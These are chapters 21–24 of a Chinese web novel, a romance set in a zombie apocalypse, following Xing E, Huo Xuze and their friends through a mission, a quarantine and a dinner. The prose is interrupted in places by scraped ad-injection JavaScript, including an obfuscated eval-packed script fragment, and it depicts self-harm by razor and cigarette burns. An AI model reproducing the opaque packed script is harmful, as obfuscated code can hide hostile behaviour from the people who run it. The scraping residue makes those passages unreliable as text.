梁幸的舅妈总是把梁幸当成小孩儿,对于都长成了一米八唬人大汉的大学生梁幸,他的舅妈依旧坚持次次开学放假亲送亲接。 霍序则那次由于霍由心突然发病,在医院陪妹妹多待了两天,他自己开车去了飞行集训地,所以那天他也顺路开车送了梁幸和他舅妈。 无意打扰舅妈侄子依依惜别,在车站角落等得无聊的霍序则注意到了刑厄的妹妹她们遇到的窘境,坐在轮椅上的刑运看着和霍由心差不多大,他抱了刑运上车,刑运还很小声地跟他说: “谢谢……哥哥。” 先前霍序则以为刑厄在北部基地对自己大搞特殊,独栋别墅、精神体代步、代替隔离观察和过度的呵护保护是因为对方可能对他有点什么青春期悸动难忘的特殊感情。 可刚才当霍序则见到了刑厄的妹妹。 他有些好笑地想,难不成这段时间原来都是自己在自作多情,自寻烦恼。 刑厄对他的特殊,有没有可能只是单纯为了感谢他曾经帮过他妹妹? 21. 关于暗恋 端午过后,暴晒和暴雨轮番上阵,梁幸脱了冲锋衣扔在越野车后备箱,身上就留了件背心抱臂半躺在后座。 梁幸在后座左边脸靠完,换右边,双脚屈一会儿直一会儿,越睡越暴躁,最后“啧”的一声。 驾驶座位置开了一半的车窗缓慢升了上去,梁幸反正也睡不着,干脆睁开眼从车内后视镜看坐在驾驶座上的人。 刑厄在梁幸发出啧的一声时,就按下了关窗按钮,此时梁幸在后视镜盯着他不挪眼,刑厄也没回避眼神,直接开口问。 “吵到你了?” 梁幸哼笑:“我还以为你哑巴呢?” 刑厄与梁幸出基地做任务已经一个星期了,在这一个星期中,刑厄跟梁幸加起来说的话还不如梁幸在信号时断时有的手机上跟舅妈,还有霍序则聊的多。 车外正在下雨,雨水噼里啪啦敲打在车顶、挡风玻璃、车前盖上,没完没了响了大半夜,再好脾气的人也该被烦得暴躁不安。 可刑厄倒好,白天六亲不认杀丧尸犹如切菜像个活阎王,现在的丧尸长得跟人没什么差别,为了避免感染他们动手时也不看人脸,露头就秒。 可能是执行官的职业习惯? 刑厄还喜欢在杀了那些跟人长一样的丧尸后,面无表情地帮他们一个个手动闭眼。 末世都进入第五年了,那些失了智的丧尸在外游荡得久了,脸上又是脏污又是干涸血渍,全身都是怪味。 刑厄碰触这些尸体时却眼都不眨。 结果到了晚上,这家伙直接来个两级反转,出基地做任务还每天非得洗澡洗衣服,如果当天没找到水源,也会用毛巾擦身,然后换身干爽的衣服。 现在被下雨吵得闭不了眼,刑厄干脆搁这儿开窗接雨水玩浪漫了? “你不会有什么人格分裂吧?”梁幸还以为只有霍序则那种公子哥大少爷,才会闲得没事爱看雨发呆呢。 “没。”刑厄摇头,惜字如金只回了一个字。 梁幸看着他从车载冰箱中熟练地拿出一个粽子,慢慢打开粽叶外的捆绳,又将绳子重新对齐叠好打了个活结,然后小心放进口袋。 这一系列操作,在过去一周的时间里梁幸见过无数次。 “这都多少天了,坏了吧还吃?”梁幸嘀咕。 刑厄听到了,回说:“没坏。” 为了节省能源燃料,天气再热晚上不开车时他们也不会开车载空调,但车载冰箱的电在这出任务的一个星期里却从没断过。 “没坏你他妈倒是一次性吃完啊!”梁幸忍不住吐槽。 总共就二十个粽子,成年男人一顿四五个没问题,偏偏刑厄不一样,把粽子当金子省,省到现在放车载冰箱里都一个星期了,又冷又硬狗都不吃! 然而,梁幸刚在心里吐槽完,一个“狗都不吃”的粽子从天而降。 梁幸下意识接住,莫名其妙问:“给我干嘛?” 吐槽归吐槽,但刑厄宝贝这玩意儿也是事实,现在居然舍得给他? 大半夜的,梁幸肚子适时咕噜一声,没忍住吞咽了口唾沫,然而还没来得及说别的,车外附近草丛传来异响。 梁幸立即警惕。 “我去看,在车里别动。”不等梁幸反应,刑厄已经迎着暴雨打开车门下了车。 五分钟后,刑厄带着一身浇透了的冰凉雨水回到车上。 他利落脱去湿了的衣服,露出强悍精干的上半身,一面随口告知:“两个丧尸,解决了。” 手里还拿着五分钟前人家割爱扔过来粽子的梁幸瞪着驾驶座上的刑厄,不知想到什么,他突然把粽子一下子扔回去,“嘶”了一声: “操,你他妈到底是暗恋霍序则,还是暗恋老子啊?” 梁幸嚷嚷着强调:“出发前霍序则也解释了,老子可是直的!” 车外在下夜雨,黑灯瞎火危险未知,刑厄下趟车,傍晚洗过的澡、衣服全白糟蹋了。 这不是梁幸第一次见刑厄脱衣,一周任务以来,刑厄跟霍序则那少爷简直一样臭讲究,荒郊野外天天找水洗澡,比他这个洁癖还洁癖! 刑厄和霍序则应该差不多身高,穿鞋目测在一米九上下,但身形上,霍序则近一两年就没正常吃过顿饭,全靠一口仙气吊着。 穿着衣服时还好,那家伙得天独厚的优越身形骨架还能骗骗人,可内里就早不知道虚耗成什么样了,用弱不禁风形容毫不为过。 但刑厄与霍序则不同,刑厄属于实打实穿衣显瘦脱衣有肉的类型,此刻对方脱了上衣,哪怕在光线暗淡的车内,也能看得出身体肌肉扎实,肱二头肌、胸肌、腹肌样样不落,资本雄厚荷尔蒙扑面而来。 梁幸仔细回想这一个星期的时间,自己下车做任务的机会少之又少,刑厄就是条独狼,多数时间梁幸只要在车里待着等刑厄拿着比对图样找东西。 这趟外出任务,梁幸本来就一千一万个不愿意来,所以刑厄这段时间这么做,他也乐得当大爷在车里睡大觉躲懒。 但刚刚…… 他怎么越想越觉得刑厄像在刻意保护照顾他??? “你他妈一个基佬,老在我一个直男面前露什么肉啊!”梁幸朝后一把抓出越野车后备箱的冲锋衣就往驾驶位扔,严正声明,“我靠,你搅基别找我,老子舅妈还等着抱我未来女儿呢!” “……” 前座的刑厄准确接住梁幸扔过来的衣服,不带一下停顿动作流畅地又扔还给人:“我暗恋你?” 他没反驳梁幸说他“基佬”的说法,没揪着最开始那句暗恋霍序则,而是只皱着眉头单拎出了这一个疑问。 梁幸接回自己的冲锋衣,这下子也顾不得热了,就往身上套,一边理直气壮:“你又是给老子粽子,又是自己出去扫丧尸,这他妈不是追小姑娘的套路?” “……”刑厄闻言沉默一瞬,解释,“那个粽子是香蕉馅的。” 梁幸之前在车上跟霍序则语音聊天,刑厄听到了。 梁幸也一愣,跟着沉默一秒:“那你老护着我干嘛?” 说着梁幸又是一阵鸡皮疙瘩,先前在南部基地为了掩藏霍序则的异能把他们传成一对时,好歹霍序则那张小白脸上道,占了小娘儿们的位置,他也不损失什么。 现在刑厄一个面上冷峻硬朗,浑身压迫感十足的男人每次挡他面前护着他,梁幸怎么想怎么觉着这次妹子好像变成了他自己! 我操!是可忍孰不可忍! “……” 梁幸话毕,前座的刑厄又是一阵沉默。 他慢慢拿上副驾上放着的一件自己的外套直接披上身,雨水顺着刑厄锋利的侧脸滑落下一滴。 半晌,刑厄开口,语气很淡,也很平常,说:“你是他朋友。” 梁幸乍一听这五个字,反应了半天才意识到这人在说什么,“他”又指的是谁? “你他妈有病吧!”梁幸立即大翻白眼,“末世都他妈五年了,管他谁的朋友,你究竟是怎么活到现在的?” “我不会有事。”刑厄回答。 在绝对实力面前,作为北部基地第一异能者的刑厄确实有底气说这种话。 梁幸此刻脑中莫名蹦出四个金灿灿的大字——爱屋及乌。 我日。梁幸又想爆粗了。 “要是你下车,老子一脚油门开车扔下你跑了呢?”梁幸突然凉凉道,“你还有个妹妹吧?你死了,她怎么办?” 在末世,人性经得起什么考验,还是他妈八竿子打不着的朋友的朋友?这霍大少爷自己打算死了犯犯圣父病也就算了,他这高中同学又抽什么风凑得什么热闹啊?! 光线暗淡中,梁幸感觉前座的刑厄看了自己一眼,挺凶悍的目光,梁幸几乎一瞬全身警备。 但仅一眼,像是某种警告,刑厄收回目光,沉默道:“霍序则不会不管刑运。” “……”闻言,梁幸直接表演一个大无语,这是情种还是傻子啊? 他忍不住尖酸刻薄回:“霍序则一个瞎子,他想管管得了吗!” “他能。”谁知,刑厄斩钉截铁回应。 梁幸一噎,瞟了眼前座黑暗中定海神针般脊背挺直的人影,心道霍大少爷还真他妈有那个能力,可惜就是没那么长的命…… 不明原因的,随着刑厄话音落下,越野车内二人不约而同又是一阵静默,车外的夜雨已经渐小,敲打了大半夜的扰人噪音终于在天边鱼肚泛白之际悄然停歇。 梁幸在这种难得的安静中,突然听驾驶座上的人问:“霍序则是异能者,你们来北部基地的目的是什么?” ! 梁幸闻言猛地抬头。 刑厄此刻正面对着越野车前的挡风玻璃,眼睛没看车内后视镜,好似在认真凝望远方天际一点点变白变亮 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,问话的语气也轻描淡写。 梁幸却皱紧了眉头,停顿两秒,谨慎反问:“你怎么知道他有异能?” 梁幸没尝试否认霍序则的异能者身份,刑厄既然问得出这句话,必定是早就发现了什么,可对方为什么当时不说不问当事人,现在反倒选在这种只有他们两个的时候问他。 刑厄没回避这个问题,平静回答:“高危感染异能者伏击那晚,霍序则发现了那条精神体蛇。” 半个月前,刑厄在主动进入观察中心隔离前遭遇异能者伏击的事,虽然刑厄没对外透露过霍序则的存在,但作为霍序则五年生死之交的朋友,他知道梁幸必定清楚那件事的始末。 当天埋伏在路灯坏掉路段的异能者郑燃,身体强化等级并没有那么高,所以他的精神体实体化程度其实也同样一般。 高等异能者的精神体实体化程度高,可以帮助战斗,自身具有能量力量,关键时刻能充当第二战力。 可实体化程度低的精神体,不仅自身五感不足,也不会有完整身形,如果霍序则真是普通人,那晚没可能在刑厄的精神体意图叼走那条蛇时,第一反应是挡开白狮。 也正是因为发觉了霍序则的异能者身份,刑厄才会在后来霍序则淋雨到他家时感到愤怒。 霍序则明明可以选择不淋雨,也可以不受伤,为什么要糟践自己的身体? “他想要什么吗?”刑厄看着开始由白逐渐转为金黄的天空发问。 甚至换了个说法,他干脆提出:“需要我配合什么?” 霍序则在最初重逢遇见的时候就有意试探过他,靠近他,观察他,他高中与霍序则没那么熟,刑厄心里比谁都清楚,所以霍序则必定在他身上有所求。 “……” 梁幸一下子被刑厄的问题给问懵了,这哥们儿什么意思? 刑厄不问霍序则是什么异能,什么等级,不问他为什么掩藏身份混进北部基地,只问要他配合什么??? 梁幸半天不回话,刑厄也没有再继续追问。 就仿佛刚才他们聊的内容根本不重要,又或者他并不关心答案,坐在驾驶位上的刑厄这时伸手打开了中控扶手位置的车载冰箱。 冰箱里只剩最后一颗早已冷了硬了变成石头一般的三角粽,梁幸给这个粽子偷拍过特写,知道是一周前在基地出发时,霍大少爷拿来“钓”人的那颗。 刑厄将那颗粽子拿在掌心握了一会儿,没吃,又重新放回车载冰箱。 他关上冰箱盖,松开手刹,发动车子,他们的外出任务只差最后一个样本没找到了,不出意外今天下午,最迟晚间就能返程。 越野车缓慢行驶在荒草丛生的道路上,梁幸在后座憋了好一阵,死死盯住车内后视镜中沉默开车的人。 “他要什么,你都配合?”梁幸没忍住尝试问道。 “嗯。”没有半点犹豫思考,刑厄边注意路况开车,边干脆点头。 “……” 梁幸再次失语,当即认定刑厄不是在故意诈他,就是个不折不扣的大傻逼! 北部幸存者基地完了,他们的异能最高战力首席执行官是个大傻逼! 而梁幸不知道的是,刑厄其实既没有诈他,当然也不可能是傻逼。 但凡刑厄稍微蠢上那么一点,他都没机会做霍序则的高中同学。 刑厄只是习惯了模仿霍序则。 不知从什么时候开始,在做任何事以前,刑厄总是忍不住会去设想,如果是霍序则遇到这种情况,他会怎么做? 刑厄眉心嵌着所谓的亲戚亲手划入的玻璃碎片,血流不止的时候设想过,所以鲜血染红了他的眼睛,他喘着粗气也忍住没有对地上想置他于死地的人补上几刀。 被学校开除的时候,他也在想,所以他没有放弃,在家里坐了一天一夜重新规划自己的人生道路。 末世爆发救刘磊承时,刑厄还是想到了霍序则,刘磊承当时身上穿着的高中校服和当年他们学校的很像。 设想霍序则会怎么想,怎么处理问题,已经成了刑厄的一种习惯,也是指引他行为的唯一准则。 哪怕连出任务洗澡换衣服,淋一场对方说过浪漫的雨,刑厄都觉得满足。 所以,他为什么不会无条件配合霍序则想做要做的事呢? 无论霍序则想要什么,他这个人本身就是刑厄的准则。 22.蓝白校服 刘磊承最近十分烦恼。 端午那天半夜,他突然收到霍哥打来的电话,告知他有人趁老大出基地做任务,偷偷潜进了刑哥家。 刘磊承先是一惊,抓了床头衣服就往外跑,连鞋都穿反了,结果刚出家门,霍哥才说人已经被他制服了,刑哥的妹妹也没事。 刘磊承刚松了口气,呼吸还来不及喘匀,又惊闻半夜潜入的那人疑似感染了丧尸病毒! “霍哥,这事真不行,您要住进了观察中心,等老大回来我这个副官也别干了。”刘磊承简直在电话里求霍序则。 “不然我就联系刑哥,让刑哥决定下一步安排!” 霍序则本意是借由这次事件先进入观察中心,潜入者被他的精神丝感染是事实,一旦他失控,那人就会发作。 而刑厄的妹妹刑运,作为在末世极为珍贵的女性,又有一层北部基地首席执行官妹妹的身份,就算被隔离也必定会有独立房间,甚至像上次刑厄对自己的处理一样,刑运单独在家隔离观察也行得通。 然而刘磊承听了霍序则的提议,却怎么都不肯同意。他坚持如果霍序则要进观察中心,那就通知在基地外做任务的刑厄。 霍序则不愿干扰刑厄的任务,幸存者基地外到底危险,所以霍序则只能妥协,并且最后因刘磊承的强烈建议,就地隔离在了刑厄家中。 刑运腿脚不便,如果就地隔离没法接触旁人,可能也会有需要照应的时候,霍序则最终同意了这个方案。 两个人隔离在一套三室一厅的小房子里,男女有别也没什么娱乐活动,每天有专人将当日物资食材放于他们门外,霍序则本来打算做做饭打发时间,然而在刑厄家隔离观察了好几天,刑运却说什么都不让霍序则进厨房。 霍序则很是无奈,怎么他们刑家俩兄妹一个两个都把他当生活不能自理的废物供着? “小运,你叫我什么?”霍序则一个人在家时,几乎吃不下任何东西,但在刑运面前,他饮食正常,丝毫看不出异样。 刑运愣了下,停下筷子看霍序则:“什么?” 霍序则面不改色咽下一口西蓝花,耐心重复:“你叫我什么?” “……序则哥。”这是前两天他们共同商定下来的,“序则哥”和“小运”。 “你叫我一声哥,我每天吃了睡睡了吃,让你一个小姑娘伺候服侍,小运觉得合适吗?”霍序则继续耐心引导。 刑运这下迅速明白霍序则突然提起这个话题的原因了,她顿了下,说:“序则哥,你救过我的命,我做什么都是应该……” “没有应该。”霍序则打断刑运。 原来那辆大巴后来发生了车祸,一车人不到三分一幸存下来,而刑厄的母亲也在那场车祸中去世了的事,霍序则已经听刑运说了。 霍序则放下筷子,骨节匀称的手指微屈,敲了敲餐桌,摇头道:“谁知道生命的尽头是哪里?他们说不定都穿进书里当主角去了。” 他的身体松弛地靠在餐座椅背上,几分闲适,笑了下,说:“我妨碍了小运做主角,小运不怪我就好。” 刑运闻言怔住,霍序则此刻又戴回了那条白色丝巾,都说眼睛是心灵的窗户,明明霍序则心灵的窗户是遮挡起来的,可他笑着时,左侧颊边有个酒窝浅浅浮现出来,显得整个人温柔而俏皮。 仿佛世界再是黑暗,他所在的那块地方,自成一片阳光烂漫。 刑运愣神了会儿,很快低下头,不再去看对面餐桌的人,低垂的眼睫微微颤动。 是担心她想起过世的母亲伤心吗?刑运想,原来哥哥看了三天的基地移民名单,记挂了很久从南部基地过来的高中同学这么温柔。 可是……他又好像本该就这么温柔。 到了晚上进厨房做晚餐的时候,刑运终于不再固执推拒霍序则的帮忙。 吃过晚餐,又洗了碗,霍序则照例进入客厅卫浴洗漱洗澡。 他刚刚关上卫浴门,打开花洒发出水声,甚至还来不及将身上的衣服脱下,便径直跪伏到马桶前干呕起来。 刚吃下去的晚餐,经过霍序则早已坏掉的胃里走了个过场,又全部浪费贡献进了下水道。 客厅的卫浴喷头似乎之前没调整好方向,没能对齐正确的淋浴位置,悉数喷洒了马桶前跪伏的霍序则一头一脸。 霍序则忍耐了太久,真正吐起来,不吐到呕出清水停不下来。 他的双臂紧撑马桶圈两侧,被花洒淋湿的白色居家衬衣紧贴在他的身上、手臂,细细观察对比,就能发现霍序则的两只上臂上有无数结了痂或者尚来不及结痂的道道伤痕。 刀片划的,烟头烫的。 都是这几天因为住在刑厄家,为了抑制精神丝失控,霍序则用刮胡刀片、从那名潜入者身上顺来烟盒里的香烟连刻带印的。 他能感觉到自己的失控在加剧,霍序则清楚意识到他没时间了。 因为饭后进卫浴进得急,霍序则吐干净晚饭,洗了把脸才想起自己连换洗衣物都没拿进来。 浑身淋湿的模样太过狼狈,霍序则想了想在浴室中叫了声“小运”的名字,但外间没有人回应。 霍序则猜想刑运应该进了房间。 霍序则扯下眼睛上被花洒淋湿的白丝巾,打开客厅卫浴门,客厅中果然没人。 刑厄家并不大,这几天隔离在刑厄家中,霍序则住了刑厄的房间。 这套三室一厅的居所,阳台就和刑厄的房间连着,霍序则湿着衣服走到阳台上收衣,却无奈发现因为这几天断断续续一直下雨,刘磊承给他送来的衣服洗后一件都没干。 站在阳台上茫然了会儿,霍序则恰好听到房门外刑运敲门:“序则哥,你刚才叫我了吗 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ?” 霍序则应声:“啊……对。” 他从阳台走回刑厄的卧室,隔着房门询问刑运:“小运,我换洗衣服没干,可以先借一件你哥的衣服穿吗?” 房门外,刑运说:“当然可以,我哥的衣服都在衣柜里。” 霍序则的目光顺势落到卧室中的衣柜上,站在门背后考虑了会儿,还是打开门:“还是麻烦你帮我找找吧,我动刑厄的东西不太方便。” 刑运坐在轮椅上,抬头见霍序则浑身湿透,一愣:“序则哥,你怎么……” “刚才花洒忘记调好位置了。”霍序则反应自然地笑着解释。 刑运眨眨眼,点了点头:“哦,那序则哥得快点去洗,别感冒了。” “嗯,你帮我找下衣服吧。” 霍序则不想私自翻动刑厄的东西,刑运推着轮椅进入哥哥的房间,一边分享道:“刚才刘副官通知我,哥哥已经在返程路上了。” “其实没关系,我哥不会把重要的文件放家里。”说是这样说,但刑运还是亲手打开了刑厄的衣柜。 霍序则应了一声:“平安回来就好。”实际他也已经提前收到过了梁幸传来的回程消息。 由于刑运是坐在轮椅上的,不够高,刑厄大多衣服在衣柜上层,霍序则跟在刑运身后,帮她找衣服。 “对,这个抽屉里的衣服都是哥哥平时不怎么穿的,但都很干净,应该还有新的……” 霍序则按照刑运的指挥,抬手打开抽屉,忽然他的手臂一顿,翻找的动作也停了。 刑运努力伸着脖子问:“找到了吗?” 霍序则慢慢从刑厄衣柜中的某个抽屉中收回手。 刑运仰着头,看见霍序则手中拿了一件蓝白相间条纹的衣物。 她一笑,了然说:“啊,这是哥哥以前的校服,这些年我们搬了好多次家,后来末世来了,什么东西都丢了,就这件校服哥哥一直留着。” “不过——”刑运倒不觉得哥哥会舍不得将这件保存了许久的校服给霍序则穿。 “这件衣服是哥哥高中时候的,序则哥现在穿的话可能小了吧?”刑运担忧问。 霍序则右手拿着那件蓝白校服,没说话,失去丝巾的遮挡,霍序则再是装瞎,飞行员5.2的视力也依旧良好。 他的右手大拇指忍不住轻轻摩挲那件年代久远的校服衣领。 刑运说,这是她哥高中时的校服。 但这句话其实有些不够准确。 这件校服的确是刑厄从前就读高中学校的校服没错,但这件校服却并不是刑厄的。 霍序则的右手拇指从校服衣领慢慢移开,这件校服衣领内侧缝着的领标上,龙飞凤舞签着三个大字—— 霍序则。 是高中时期,霍序则为了方便识别,亲手在自己的校服上写上去的。 23.田螺白狮 日有所思夜有所梦,霍序则湿着衣服在刑厄的衣柜中翻出了一件旧时校服,当晚就做了个梦。 他知道自己在做梦。 梦到的还是一件从前真实发生过的往事。 霍序则的精神力不受控暴涨以来,他的世界被撕裂成很多很多割裂的碎块。 霍序则习惯了那些破碎的世界存在,睡觉时、醒来后,总是有源源不断的人拉拽他,撕扯他,争先恐后同时在他耳边说话、争吵、尖叫。 他每天将绝大部分精力用于在万千碎片中努力分辨,其中哪块才是真实世界的碎片。 霍序则研究它们已久,所以当他难得进入一个心平气和的梦境空间,他也同步分辨出自己是在做梦。 梦中,霍序则和高一年级一名扎着马尾的女生站在教室外走廊上。 时间大概是晚自习期间,走廊外是一片深沉如墨的黑,走廊上却因为沾了教室白炽灯管明亮的光,而有一半黑暗被拉入了光明。 女生的半边脸陷在黑暗中,剩下半边在光影照映下泛着淡淡红晕。 可惜是被急红的。 “啊呀,部长我真的知道错了!” 女生称呼霍序则“部长”,霍序则高中时担任过学生会学习部部长一职,而当晚正好轮到学习部巡查晚自习纪律。 霍序则的左手上拿着几张薄薄的草稿纸,不过这些草稿纸上没有公式,没有凌乱的演算数据,有的只是整齐的一行一行写满了的端正小楷。 霍序则粗略扫了两眼草稿纸,女生差点动手就想抢回来,被霍序则手臂微微抬高躲了过去。 “夜凉如水,刑厄身着一袭黑色紧身夜行衣,整个人犹如暗夜鬼魅,悄无声息隐于枝头……” “啊——部长!”女生面色红得滴血,也顾不得敢不敢,羞耻心让她一把抢走霍序则手中的纸,揉成一团,死死藏到身后。 “你把我送去教导处吧,哪里都行,记过也行,别念了,我再也不敢了。”女生放弃抵抗破罐子破摔说。 霍序则手里密密麻麻写了大几页草稿纸的“著作”被强行抢走,他没有生气,反而唇角微翘没忍住笑了一下。 没办法,霍序则过目不忘,即使女生抢走了草稿纸,但目光随意扫到的内容却已经深深印入了他的脑海。 【刑厄面无表情跪在他的榻前,将满是荆棘倒刺的长鞭双手递上,低声恳求:求主人……责罚。】 【残阳如血,刑厄眼都不眨用烧得滚烫的匕首刺入胸膛,剜出胸口淬毒的暗器,他冷硬的面孔上密布汗水,眼神却隐忍坚定。】 【属下保护主人不利,求主人赐刑。】 “你们小女生喜欢帅哥,我能理解。”霍序则回想看到的一段段“刑厄”又是不断受伤中毒,又是动不动跪地请求责罚的文字内容。 他不禁好奇:“可你既然喜欢刑厄,为什么要在你写的故事里给他安排这么悲惨的身份?” 看到女生会把刑厄当主角写进自己臆想世界的故事里,霍序则一点都不奇怪,盘靓条顺还能打的英俊校霸一枚,校霸成绩还好,每天神出鬼没,又给刑厄整个人增添了几分神秘吸引力。 霍序则十分理解青春期萌动女孩儿们对于刑厄的偏爱,不过…… 暗卫?主人? 听起来就不是什么正经身份。 女生借着教室窗口透出的灯光小心翼翼观察霍序则,确定霍序则真的没有把她写的东西上交上去的意图。 女生才松了口气,摆摆手道:“我哪里敢喜欢刑厄啊,他这种硬骨头就只可远观,喜欢起来非头破血流不可。” “我天生自私,吃不了爱情的苦。”女生大喇喇表明立场,又朝霍序则灵动地挤了挤眼,“我就是觉得他特别适合我脑子里故事的受!” “受?”霍序则顿了顿,重复。 女生以为霍序则听不懂这类专有名词,一番眉飞色舞积极替学习部部长恶补“知识点”。 霍序则听完轻咳一声:“哦,原来这就是受……” 其实霍序则懂这个词的意思,他不是什么正经学霸两耳不闻窗外事,恰恰相反的,霍序则从小涉猎奇广,“腐女”、“耽美”、“攻受”这类基本词汇他还是知道的。 只是…… 小女生怎么会觉得刑厄像“受”呢?霍序则十分负责地设想了下,就算他们学校无人敢惹的煞神校霸弯了,怎么看也该更符合那个圈子里对于“攻”形象的普遍认知吧? “对啊,就那种沉默寡言又冷冷的很带劲,但一旦认主就只会玩命付出不求回报的忠犬……”女生没有注意霍序则眼神一瞬的古怪不解,滔滔不绝论证自己的独到见地。 忽地,霍序则蓦地出声打断女生。 “等等。” “啊?”女生看着霍序则,“怎,怎么了?” 霍序则原本有些姿态散漫地轻靠在走廊护栏上,此时视线轻轻落于远处走廊尽头的楼梯口,挑了下眉,说:“喏,你的男主角来了。” 走廊尽头,必须提前离校出去打工的刑厄背着书包从楼梯间下来,路过这层楼时,对方不知是不是感受到了什么敏锐抬头,目光锐利朝霍序则他们所站位置扫来。 然而只一瞬,对方锐利的目光一滞,刑厄右手抓着一件校服外套的掌心下意识紧了紧,很快低头错开目光。 二人视线远远交汇,霍序则还来不及向对方打个招呼,就见刑厄低着头快速离开。 “……”慢半拍收回扬起一半的笑容。 好吧,霍序则可惜地想,看来他们这位“忠犬男主角”似乎不太待见自己。 …… 脱离梦境醒来的那刻,霍序则感到了久违的平静宁和,意识还未彻底清醒,他就忍不住将梦境中尚来不及展现完全的笑意带出梦境。 霍序则弯起唇角,睁开眼,即使一眼看到满天花板密密麻麻的蜘蛛网,以及惊惧倒扒在天花板上用八只眼睛死盯着他的巨型蜘蛛,也第一次觉得“眉清目秀”。 霍序则这几年失眠严重,早没了末世前曾经那么点爱拖延赖床的习惯。 他利落起身,穿上拖鞋站起来那刻,他的身体轻微晃动了下,右手扶住床尾。 他想起来,昨天入睡前自己好像有些发热,可能是因为呕吐时花洒打湿的衣服贴身穿了太久,后来又在白日空调温度很低的室内走了一圈的缘故。 不过,霍序则此刻摸了摸自己的额头,确定自己至少现在没有再烧了。 这以他现在的身体来说简直堪称奇迹,霍序则将这归功于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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比人还高的大白狮矫健有力的后肢触地支撑身体,两只前肢则正扒于房间中打开的衣柜上,巨大厚实的爪垫刚好停留在昨天霍序则帮着刑运找衣服的那层抽屉隔层之中。 白狮的脚下已经散落了三两件衣物,大概是被它过于庞大的身躯和蓬松毛发不小心带落下去的。 而白狮嘴中—— 正叼着某件看上去十分眼熟,蓝白条纹相间的可疑物品。 白狮听见开门声,下意识叼着衣服扭过头。 对上视线的那刻,白狮整只狮子僵住。 霍序则也不知道自己是怎么从一只草原之王的狮子脸上,同时看出“无辜”与“无措”这两种可怜巴巴又莫名可爱情绪交织的。 刑厄发现了自己是异能者的事,霍序则前两天已经通过手机聊天从好友口中得到了消息。 他此刻斜倚在卧室门边,不由垂眸一笑。 难怪刑运清楚自己昨晚发烧,却对房中种种诡异的情形毫无反应。 霍序则唇齿微启,无声了然:“原来是田螺白狮啊……” “欢迎回来,忠犬男主角。” 24.麻辣小龙虾 一个星期后,霍序则与刑运的就地隔离成功解除。 但霍序则在身份手环上发消息给刑厄,希望那名半夜潜入刑厄家的男人继续留在观察中心。 刑厄没有问原因,只简单回了他一个:【好。】 倒是梁幸打开电话,开口第一句就是:“现在大家都以为北部基地首席执行官公报私仇,利用职务之便谎报对自己妹妹不轨的那个家伙有感染风险。” “其实私下里——”梁幸哼笑,“就是要把人往死里整,关到假感染变真感染为止。” 霍序则听后没什么反应,只十分冷淡无情地“哦”了一声,表示知道了。 梁幸不服气,继续说:“也不知道人家看上你什么了,除了一张好脸,眼瞎手黑还记仇,无条件配合什么的,也不怕把自己搭进去!” 梁幸一直记着霍大少爷闷不吭声把他坑出基地当苦力做任务的事。 他现在倒回过味来了,这家伙早不解释晚不解释,偏偏他们出基地前一刻才说,根本就是又想让自己免费给他的高中同学当保镖互相照应,又担心高中同学心里不舒服舍不得人难过呢! 操!被当了枪使的梁幸很不爽! 被暗恋了不起吗!就知道霍序则这家伙不直,还他妈暗戳戳黏糊上了! “好脸也是资本,世界上大多喜欢都是见色起意。”霍序则脸皮厚得很,丝毫不被好友的攻击影响。 他认真道:“到刑厄家一起吃顿饭吧,以后没我在了,你们也好……” “呸,老子和俩男的吃什么饭,不去!”梁幸不愿意听霍序则说什么不在,干脆打断拒绝。 霍序则也不恼,只轻飘飘回了句:“刑厄和他妹妹长得都像妈妈。” 梁幸那边停顿一秒:“时间地点发我!”随后啪地挂了电话。 北部基地让人闻风丧胆的首席执行官如果不是因为眉心一道长疤生出几分凶性,用风神俊逸形容完全没有问题。 为了庆祝霍序则与刑运平安度过隔离期,而刑厄和梁幸的短期外出生物观察也顺利结束,在刑厄家开展的小型聚会定在了一个风和日丽的午后。 刘磊承抱着一箱啤酒进到自己老大家时,老大与霍序则两个大男人正在厨房忙活。 而老大的妹妹刑运的轮椅两侧,一黑一白一边杵着一只巨型“怪物”,正隔着刑运的轮椅噼里啪啦对峙,画面很是惊悚! 刘磊承手中的啤酒箱“砰”的落地,两眼一黑,差点没大喊出声。 霍序则听到声音走出厨房,身上围着刑厄从前穿过的深蓝色围裙,眼睛上倒暂时没蒙白丝巾,朝刘磊承招了招手。 “小刘,进来,别害怕。” 刘磊承几乎是抖着两只得了帕金森似的腿靠墙慢慢挪到霍序则身边的。 “这是我的精神体,别管它,也别碰它,没事。”霍序则轻描淡写解释。 刑运轮椅旁,刘磊承以为正在隔空“对峙”的两只超级巨型精神体,其中两米高的灰黑色大蜘蛛先动了。 一根白色蜘蛛丝从巨型蜘蛛的腹部吐出,穿透白狮的毛发,白狮一动不动,任由蜘蛛动作。 蜘蛛大概觉得白狮不屑理会自己,这就是明晃晃的挑衅!于是更多蜘蛛丝同时飞向白狮。 咻咻咻—— 刘磊承揉揉眼睛,他甚至觉得自己是不是眼花了,刑哥的精神体是北部基地最无人敢惹的存在,狮吼一声,整栋北部基地大楼都得抖三抖。 可现在看着几乎被蜘蛛丝绑成“狮肉粽子”,无论蜘蛛怎么对它,白狮都一动不动不反抗的模样。 他觉得这个世界太魔幻了。 巨型蜘蛛的八条长腿横跨在白狮上方,居高临下用一只纤长触肢逗弄白狮的鬃毛、眼睛、鼻子,而白狮居然只是原地卧倒,喉间偶尔发出短促的“咕噜”声。 这分明是一种臣服的姿态! 那可是刑哥的精神体! 北部基地背地里被称作“死神镰刀”的夺命雄狮!! 刘磊承晕晕乎乎直到所有人都坐上桌吃饭了,都还没从霍哥竟然是个异能者,并且精神体如此“威武霸气”的信息中醒过神来。 “难怪霍哥随随便便就把那个倒霉催的人渣制服了,还猜到那个人是感染者!” 好不容易消化完这一惊天秘密的刘磊承一口小龙虾连壳带虾钳一口包进嘴里,咀嚼半天愣是最后什么都没吐出来,硬生生咽下嘴中食物后才开始吹彩虹屁。 梁幸在旁边拉开一罐啤酒,十分不屑:“也不怕消化不良噎死你。” 